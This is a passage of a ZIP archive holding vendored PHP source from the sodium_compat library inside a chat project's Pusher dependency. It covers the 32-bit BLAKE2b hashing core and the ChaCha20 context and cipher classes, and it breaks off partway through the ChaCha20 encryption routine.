        array(  7,  9,  3,  1, 13, 12, 11, 14,  2,  6,  5, 10,  4,  0, 15, 
8),
        array(  9,  0,  5,  7,  2,  4, 10, 15, 14,  1, 11, 12,  6,  8,  3,
13),
        array(  2, 12,  6, 10,  0, 11,  8,  3,  4, 13,  7,  5, 15, 14,  1, 
9),
        array( 12,  5,  1, 15, 14, 13,  4, 10,  0,  7,  6,  3,  9,  2,  8,
11),
        array( 13, 11,  7, 14, 12,  1,  3,  9,  5,  0, 15,  4,  8,  6,  2,
10),
        array(  6, 15, 14,  9, 11,  3,  0,  8, 12,  2, 13,  7,  1,  4, 10, 
5),
        array( 10,  2,  8,  4,  7,  6,  1,  5, 15, 11,  9, 14,  3, 12, 13 ,
0),
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5, 
3)
    );

    const BLOCKBYTES = 128;
    const OUTBYTES   = 64;
    const KEYBYTES   = 64;

    /**
     * Turn two 32-bit integers into a fixed array representing a 64-bit
integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $high
     * @param int $low
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function new64($high, $low)
    {
        return ParagonIE_Sodium_Core32_Int64::fromInts($low, $high);
    }

    /**
     * Convert an arbitrary number into an SplFixedArray of two 32-bit
integers
     * that represents a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $num
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function to64($num)
    {
        list($hi, $lo) = self::numericTo64BitInteger($num);
        return self::new64($hi, $lo);
    }

    /**
     * Adds two 64-bit integers together, returning their sum as a
SplFixedArray
     * containing two 32-bit integers (representing a 64-bit integer).
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @return ParagonIE_Sodium_Core32_Int64
     */
    protected static function add64($x, $y)
    {
        return $x->addInt64($y);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @param ParagonIE_Sodium_Core32_Int64 $z
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public static function add364($x, $y, $z)
    {
        return $x->addInt64($y)->addInt64($z);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws TypeError
     */
    public static function xor64(ParagonIE_Sodium_Core32_Int64 $x,
ParagonIE_Sodium_Core32_Int64 $y)
    {
        return $x->xorInt64($y);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function rotr64(ParagonIE_Sodium_Core32_Int64 $x, $c)
    {
        return $x->rotateRight($c);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64($x, $i)
    {
        /** @var int $l */
        $l = (int) ($x[$i])
             | ((int) ($x[$i+1]) << 8)
             | ((int) ($x[$i+2]) << 16)
             | ((int) ($x[$i+3]) << 24);
        /** @var int $h */
        $h = (int) ($x[$i+4])
             | ((int) ($x[$i+5]) << 8)
             | ((int) ($x[$i+6]) << 16)
             | ((int) ($x[$i+7]) << 24);
        return self::new64($h, $l);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @param ParagonIE_Sodium_Core32_Int64 $u
     * @return void
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    public static function store64(SplFixedArray $x, $i,
ParagonIE_Sodium_Core32_Int64 $u)
    {
        $v = clone $u;
        $maxLength = $x->getSize() - 1;
        for ($j = 0; $j < 8; ++$j) {
            $k = 3 - ($j >> 1);
            $x[$i] = $v->limbs[$k] & 0xff;
            if (++$i > $maxLength) {
                return;
            }
            $v->limbs[$k] >>= 8;
        }
    }

    /**
     * This just sets the $iv static variable.
     *
     * @internal You should not use this directly from another application
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pseudoConstructor()
    {
        static $called = false;
        if ($called) {
            return;
        }
        self::$iv = new SplFixedArray(8);
        self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
        self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
        self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
        self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
        self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
        self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
        self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
        self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);

        $called = true;
    }

    /**
     * Returns a fresh BLAKE2 context.
     *
     * @internal You should not use this directly from another application
     *
     * @return SplFixedArray
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function context()
    {
        $ctx    = new SplFixedArray(6);
        $ctx[0] = new SplFixedArray(8);   // h
        $ctx[1] = new SplFixedArray(2);   // t
        $ctx[2] = new SplFixedArray(2);   // f
        $ctx[3] = new SplFixedArray(256); // buf
        $ctx[4] = 0;                      // buflen
        $ctx[5] = 0;                      // last_node (uint8_t)

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::$iv[$i];
        }
        for ($i = 256; $i--;) {
            $ctx[3][$i] = 0;
        }

        $zero = self::new64(0, 0);
        $ctx[1][0] = $zero;
        $ctx[1][1] = $zero;
        $ctx[2][0] = $zero;
        $ctx[2][1] = $zero;

        return $ctx;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $buf
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedAssignment
     */
    protected static function compress(SplFixedArray $ctx, SplFixedArray
$buf)
    {
        $m = new SplFixedArray(16);
        $v = new SplFixedArray(16);

        for ($i = 16; $i--;) {
            $m[$i] = self::load64($buf, $i << 3);
        }

        for ($i = 8; $i--;) {
            $v[$i] = $ctx[0][$i];
        }

        $v[ 8] = self::$iv[0];
        $v[ 9] = self::$iv[1];
        $v[10] = self::$iv[2];
        $v[11] = self::$iv[3];

        $v[12] = self::xor64($ctx[1][0], self::$iv[4]);
        $v[13] = self::xor64($ctx[1][1], self::$iv[5]);
        $v[14] = self::xor64($ctx[2][0], self::$iv[6]);
        $v[15] = self::xor64($ctx[2][1], self::$iv[7]);

        for ($r = 0; $r < 12; ++$r) {
            $v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
            $v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
            $v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
            $v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
            $v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
            $v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
            $v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
            $v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
        }

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::xor64(
                $ctx[0][$i], self::xor64($v[$i], $v[$i+8])
            );
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $r
     * @param int $i
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @param SplFixedArray $v
     * @param SplFixedArray $m
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v,
SplFixedArray $m)
    {
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i
<< 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i
<< 1) + 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param int $inc
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function increment_counter($ctx, $inc)
    {
        if ($inc < 0) {
            throw new SodiumException('Increasing by a negative number
makes no sense.');
        }
        $t = self::to64($inc);
        # S->t is $ctx[1] in our implementation

        # S->t[0] = ( uint64_t )( t >> 0 );
        $ctx[1][0] = self::add64($ctx[1][0], $t);

        # S->t[1] += ( S->t[0] < inc );
        if (!($ctx[1][0] instanceof ParagonIE_Sodium_Core32_Int64)) {
            throw new TypeError('Not an int64');
        }
        /** @var ParagonIE_Sodium_Core32_Int64 $c*/
        $c = $ctx[1][0];
        if ($c->isLessThanInt($inc)) {
            $ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $p
     * @param int $plen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedOperand
     */
    public static function update(SplFixedArray $ctx, SplFixedArray $p,
$plen)
    {
        self::pseudoConstructor();

        $offset = 0;
        while ($plen > 0) {
            $left = $ctx[4];
            $fill = 256 - $left;

            if ($plen > $fill) {
                # memcpy( S->buf + left, in, fill ); /* Fill buffer */
                for ($i = $fill; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }

                # S->buflen += fill;
                $ctx[4] += $fill;

                # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
                self::increment_counter($ctx, 128);

                # blake2b_compress( S, S->buf ); /* Compress */
                self::compress($ctx, $ctx[3]);

                # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES,
BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
                for ($i = 128; $i--;) {
                    $ctx[3][$i] = $ctx[3][$i + 128];
                }

                # S->buflen -= BLAKE2B_BLOCKBYTES;
                $ctx[4] -= 128;

                # in += fill;
                $offset += $fill;

                # inlen -= fill;
                $plen -= $fill;
            } else {
                for ($i = $plen; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }
                $ctx[4] += $plen;
                $offset += $plen;
                $plen -= $plen;
            }
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $out
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedOperand
     */
    public static function finish(SplFixedArray $ctx, SplFixedArray $out)
    {
        self::pseudoConstructor();
        if ($ctx[4] > 128) {
            self::increment_counter($ctx, 128);
            self::compress($ctx, $ctx[3]);
            $ctx[4] -= 128;
            if ($ctx[4] > 128) {
                throw new SodiumException('Failed to assert that
buflen <= 128 bytes');
            }
            for ($i = $ctx[4]; $i--;) {
                $ctx[3][$i] = $ctx[3][$i + 128];
            }
        }

        self::increment_counter($ctx, $ctx[4]);
        $ctx[2][0] = self::new64(0xffffffff, 0xffffffff);

        for ($i = 256 - $ctx[4]; $i--;) {
            /** @var int $i */
            $ctx[3][$i + $ctx[4]] = 0;
        }

        self::compress($ctx, $ctx[3]);

        $i = (int) (($out->getSize() - 1) / 8);
        for (; $i >= 0; --$i) {
            self::store64($out, $i << 3, $ctx[0][$i]);
        }
        return $out;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $key
     * @param int $outlen
     * @param SplFixedArray|null $salt
     * @param SplFixedArray|null $personal
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function init(
        $key = null,
        $outlen = 64,
        $salt = null,
        $personal = null
    ) {
        self::pseudoConstructor();
        $klen = 0;

        if ($key !== null) {
            if (count($key) > 64) {
                throw new SodiumException('Invalid key size');
            }
            $klen = count($key);
        }

        if ($outlen > 64) {
            throw new SodiumException('Invalid output size');
        }

        $ctx = self::context();

        $p = new SplFixedArray(64);
        // Zero our param buffer...
        for ($i = 64; --$i;) {
            $p[$i] = 0;
        }

        $p[0] = $outlen; // digest_length
        $p[1] = $klen;   // key_length
        $p[2] = 1;       // fanout
        $p[3] = 1;       // depth

        if ($salt instanceof SplFixedArray) {
            // salt: [32] through [47]
            for ($i = 0; $i < 16; ++$i) {
                $p[32 + $i] = (int) $salt[$i];
            }
        }
        if ($personal instanceof SplFixedArray) {
            // personal: [48] through [63]
            for ($i = 0; $i < 16; ++$i) {
                $p[48 + $i] = (int) $personal[$i];
            }
        }

        $ctx[0][0] = self::xor64(
            $ctx[0][0],
            self::load64($p, 0)
        );

        if ($salt instanceof SplFixedArray || $personal instanceof
SplFixedArray) {
            // We need to do what blake2b_init_param() does:
            for ($i = 1; $i < 8; ++$i) {
                $ctx[0][$i] = self::xor64(
                    $ctx[0][$i],
                    self::load64($p, $i << 3)
                );
            }
        }

        if ($klen > 0 && $key instanceof SplFixedArray) {
            $block = new SplFixedArray(128);
            for ($i = 128; $i--;) {
                $block[$i] = 0;
            }
            for ($i = $klen; $i--;) {
                $block[$i] = $key[$i];
            }
            self::update($ctx, $block, 128);
            $ctx[4] = 128;
        }

        return $ctx;
    }

    /**
     * Convert a string into an SplFixedArray of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $str
     * @return SplFixedArray
     */
    public static function stringToSplFixedArray($str = '')
    {
        $values = unpack('C*', $str);
        return SplFixedArray::fromArray(array_values($values));
    }

    /**
     * Convert an SplFixedArray of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $a
     * @return string
     */
    public static function SplFixedArrayToString(SplFixedArray $a)
    {
        /**
         * @var array<int, string|int>
         */
        $arr = $a->toArray();
        $c = $a->count();
        array_unshift($arr, str_repeat('C', $c));
        return (string) (call_user_func_array('pack', $arr));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @return string
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function contextToString(SplFixedArray $ctx)
    {
        $str = '';
        /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */
        $ctxA = $ctx[0]->toArray();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            if (!($ctxA[$i] instanceof ParagonIE_Sodium_Core32_Int64)) {
                throw new TypeError('Not an instance of Int64');
            }
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxAi */
            $ctxAi = $ctxA[$i];
            $str .= $ctxAi->toReverseString();
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA
*/
            $ctxA = $ctx[$i]->toArray();
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxA1 */
            $ctxA1 = $ctxA[0];
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxA2 */
            $ctxA2 = $ctxA[1];

            $str .= $ctxA1->toReverseString();
            $str .= $ctxA2->toReverseString();
        }

        # uint8_t buf[2 * 128];
        $str .= self::SplFixedArrayToString($ctx[3]);

        /** @var int $ctx4 */
        $ctx4 = $ctx[4];

        # size_t buflen;
        $str .= implode('', array(
            self::intToChr($ctx4 & 0xff),
            self::intToChr(($ctx4 >> 8) & 0xff),
            self::intToChr(($ctx4 >> 16) & 0xff),
            self::intToChr(($ctx4 >> 24) & 0xff),
            "\x00\x00\x00\x00"
            /*
            self::intToChr(($ctx4 >> 32) & 0xff),
            self::intToChr(($ctx4 >> 40) & 0xff),
            self::intToChr(($ctx4 >> 48) & 0xff),
            self::intToChr(($ctx4 >> 56) & 0xff)
            */
        ));
        # uint8_t last_node;
        return $str . self::intToChr($ctx[5]) .
str_repeat("\x00", 23);
    }

    /**
     * Creates an SplFixedArray containing other SplFixedArray elements,
from
     * a string (compatible with \Sodium\crypto_generichash_{init, update,
final})
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function stringToContext($string)
    {
        $ctx = self::context();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $ctx[0][$i] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, (($i << 3) + 0), 8)
            );
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctx[$i][1] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, 72 + (($i - 1) << 4), 8)
            );
            $ctx[$i][0] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, 64 + (($i - 1) << 4), 8)
            );
        }

        # uint8_t buf[2 * 128];
        $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96,
256));

        # uint8_t buf[2 * 128];
        $int = 0;
        for ($i = 0; $i < 8; ++$i) {
            $int |= self::chrToInt($string[352 + $i]) << ($i <<
3);
        }
        $ctx[4] = $int;

        return $ctx;
    }
}
PK	�[c?׷��Rchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/ChaCha20/Ctx.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20_Ctx
 */
class ParagonIE_Sodium_Core32_ChaCha20_Ctx extends
ParagonIE_Sodium_Core32_Util implements ArrayAccess
{
    /**
     * @var SplFixedArray internally, <int,
ParagonIE_Sodium_Core32_Int32>
     */
    protected $container;

    /**
     * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 8 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '',
$counter = '')
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException('ChaCha20 expects a
256-bit key.');
        }
        if (self::strlen($iv) !== 8) {
            throw new InvalidArgumentException('ChaCha20 expects a
64-bit nonce.');
        }
        $this->container = new SplFixedArray(16);

        /* "expand 32-byte k" as per ChaCha20 spec */
        $this->container[0]  = new
ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
        $this->container[1]  = new
ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
        $this->container[2]  = new
ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
        $this->container[3]  = new
ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));

        $this->container[4]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4));
        $this->container[5]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4));
        $this->container[6]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4));
        $this->container[7]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12,
4));
        $this->container[8]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16,
4));
        $this->container[9]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20,
4));
        $this->container[10] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24,
4));
        $this->container[11] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28,
4));

        if (empty($counter)) {
            $this->container[12] = new ParagonIE_Sodium_Core32_Int32();
            $this->container[13] = new ParagonIE_Sodium_Core32_Int32();
        } else {
            $this->container[12] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0,
4));
            $this->container[13] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 4,
4));
        }
        $this->container[14] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));
        $this->container[15] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @param int|ParagonIE_Sodium_Core32_Int32 $value
     * @return void
     */
    public function offsetSet($offset, $value)
    {
        if (!is_int($offset)) {
            throw new InvalidArgumentException('Expected an
integer');
        }
        if ($value instanceof ParagonIE_Sodium_Core32_Int32) {
            /*
        } elseif (is_int($value)) {
            $value = ParagonIE_Sodium_Core32_Int32::fromInt($value);
            */
        } else {
            throw new InvalidArgumentException('Expected an
integer');
        }
        $this->container[$offset] = $value;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }
}
PK	�[������Vchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/ChaCha20/IetfCtx.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx
 */
class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx extends
ParagonIE_Sodium_Core32_ChaCha20_Ctx
{
    /**
     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 4 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '',
$counter = '')
    {
        if (self::strlen($iv) !== 12) {
            throw new InvalidArgumentException('ChaCha20 expects a
96-bit nonce in IETF mode.');
        }
        parent::__construct($key, self::substr($iv, 0, 8), $counter);

        if (!empty($counter)) {
            $this->container[12] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0,
4));
        }
        $this->container[13] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));
        $this->container[14] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));
        $this->container[15] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 8, 4));
    }
}
PK	�[~��ɯ8�8Nchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/ChaCha20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20
 */
class ParagonIE_Sodium_Core32_ChaCha20 extends ParagonIE_Sodium_Core32_Util
{
    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int32 $a
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @param ParagonIE_Sodium_Core32_Int32 $c
     * @param ParagonIE_Sodium_Core32_Int32 $d
     * @return array<int, ParagonIE_Sodium_Core32_Int32>
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function quarterRound(
        ParagonIE_Sodium_Core32_Int32 $a,
        ParagonIE_Sodium_Core32_Int32 $b,
        ParagonIE_Sodium_Core32_Int32 $c,
        ParagonIE_Sodium_Core32_Int32 $d
    ) {
        /** @var ParagonIE_Sodium_Core32_Int32 $a */
        /** @var ParagonIE_Sodium_Core32_Int32 $b */
        /** @var ParagonIE_Sodium_Core32_Int32 $c */
        /** @var ParagonIE_Sodium_Core32_Int32 $d */

        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        $a = $a->addInt32($b);
        $d = $d->xorInt32($a)->rotateLeft(16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        $c = $c->addInt32($d);
        $b = $b->xorInt32($c)->rotateLeft(12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        $a = $a->addInt32($b);
        $d = $d->xorInt32($a)->rotateLeft(8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        $c = $c->addInt32($d);
        $b = $b->xorInt32($c)->rotateLeft(7);

        return array($a, $b, $c, $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /** @var ParagonIE_Sodium_Core32_Int32 $x0 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x1 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x2 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x3 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x4 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x5 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x6 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x7 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x8 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x9 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x10 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x11 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x12 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x13 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x14 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x15 */

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        /** @var ParagonIE_Sodium_Core32_Int32 $j0 */
        $j0  = $ctx[0];
        /** @var ParagonIE_Sodium_Core32_Int32 $j1 */
        $j1  = $ctx[1];
        /** @var ParagonIE_Sodium_Core32_Int32 $j2 */
        $j2  = $ctx[2];
        /** @var ParagonIE_Sodium_Core32_Int32 $j3 */
        $j3  = $ctx[3];
        /** @var ParagonIE_Sodium_Core32_Int32 $j4 */
        $j4  = $ctx[4];
        /** @var ParagonIE_Sodium_Core32_Int32 $j5 */
        $j5  = $ctx[5];
        /** @var ParagonIE_Sodium_Core32_Int32 $j6 */
        $j6  = $ctx[6];
        /** @var ParagonIE_Sodium_Core32_Int32 $j7 */
        $j7  = $ctx[7];
        /** @var ParagonIE_Sodium_Core32_Int32 $j8 */
        $j8  = $ctx[8];
        /** @var ParagonIE_Sodium_Core32_Int32 $j9 */
        $j9  = $ctx[9];
        /** @var ParagonIE_Sodium_Core32_Int32 $j10 */
        $j10 = $ctx[10];
        /** @var ParagonIE_Sodium_Core32_Int32 $j11 */
        $j11 = $ctx[11];
        /** @var ParagonIE_Sodium_Core32_Int32 $j12 */
        $j12 = $ctx[12];
        /** @var ParagonIE_Sodium_Core32_Int32 $j13 */
        $j13 = $ctx[13];
        /** @var ParagonIE_Sodium_Core32_Int32 $j14 */
        $j14 = $ctx[14];
        /** @var ParagonIE_Sodium_Core32_Int32 $j15 */
        $j15 = $ctx[15];

        $c = '';
        for (;;) {
            if ($bytes < 64) {
